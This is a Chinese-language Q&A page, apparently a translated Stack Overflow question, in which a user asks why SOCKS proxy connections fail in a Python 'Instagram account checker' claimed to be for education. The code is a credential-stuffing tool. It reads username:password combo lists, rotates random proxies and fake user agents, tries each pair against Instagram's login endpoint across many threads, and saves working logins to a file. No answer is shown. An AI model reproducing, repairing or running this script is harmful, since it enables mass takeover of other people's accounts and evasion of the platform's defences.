首页 > 解决方案 > 我的代码有问题,代理连接错误

问题描述

我认为我的代码有问题,我尝试制作 Instagram 帐户检查器以用于教育目的,但每次我尝试使用代理时都没有任何效果并且程序会引发错误:

SOCKSHTTPSConnectionPool(host='www.instagram.com', port=443): 最大重试次数超过 url: /accounts/login/ajax/ (由 NewConnectionError('<urllib3.contrib.socks.SOCKSHTTPSConnection object at 0x000002A7CE300FD0>: Failed建立新连接:[WinError 10061]

或者

SOCKSHTTPSConnectionPool(host='www.instagram.com', port=443): 最大重试次数超过 url: /accounts/login/ajax/ (由 NewConnectionError('<urllib3.contrib.socks.SOCKSHTTPSConnection object at 0x000002A7CE300FD0>: Failed建立新连接:[WinError 10054]

我在文件中使用的格式:“IP:PORT”和帐户:“用户名:密码”

import fake_useragent
import requests
import threading
import random

file = open('combo.txt').read().split('\n')
goods = open('good.txt', 'a+')
proxies = open('proxies.txt').read().split('\n')

def account_check(account):
    username_password = account.split(':')
    username = username_password[0].strip()
    password = username_password[1].strip()

    # print(username, password)

    url = 'https://www.instagram.com/accounts/login/ajax/'
    payload = f'username={username}&enc_password=%23PWD_INSTAGRAM_BROWSER%3A0%3A0%3A{password}&queryParams=%7B%7D&optIntoOneTap=false'

    proxy_choice = random.choice(proxies)
    proxy = {
        'http': 'socks4://' + proxy_choice,
        'https': 'socks4://' + proxy_choice
            }

    fake_agent_for_headers = fake_useragent.UserAgent()
    headers = {
            'authority': 'www.instagram.com',
            'x-ig-www-claim': 'hmac.AR08hbh0m_VdJjwWvyLFMaNo77YXgvW_0JtSSKgaLgDdUu9h',
            'x-instagram-ajax': '82a581bb9399',
            'content-type': 'application/x-www-form-urlencoded',
            'accept': '*/*',
            'user-agent': fake_agent_for_headers.chrome,
            'x-requested-with': 'XMLHttpRequest',
            'x-csrftoken': 'rn3aR7phKDodUHWdDfCGlERA7Gmhes8X',
            'x-ig-app-id': '936619743392459',
            'origin': 'https://www.instagram.com',
            'sec-fetch-site': 'same-origin',
            'sec-fetch-mode': 'cors',
            'sec-fetch-dest': 'empty',
            'referer': 'https://www.instagram.com/',
            'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8',
            'cookie': ''
            }

    request = requests.post(url=url, data=payload, headers=headers, proxies=proxy).text

    print(request)
    if '"authenticated":true' in request.split(','):
        print('>>> Invalid Account')
        goods.write(f'{username}:{password}\n')
    else:
        print('>>> Invalid Account')

def thread():
    while file:
        to_check = file[0]
        file.remove(to_check)
        try:
            account_check(to_check)
        except Exception as ex:
            print("Ошибка:", ex)

if __name__ == '__main__':
    thread_count = int(input('>>> Amount of threads:'))
    for _ in range(thread_count):
        threads = threading.Thread(target=thread)
        threads.start()

标签: pythonproxypython-requests

解决方案


推荐阅读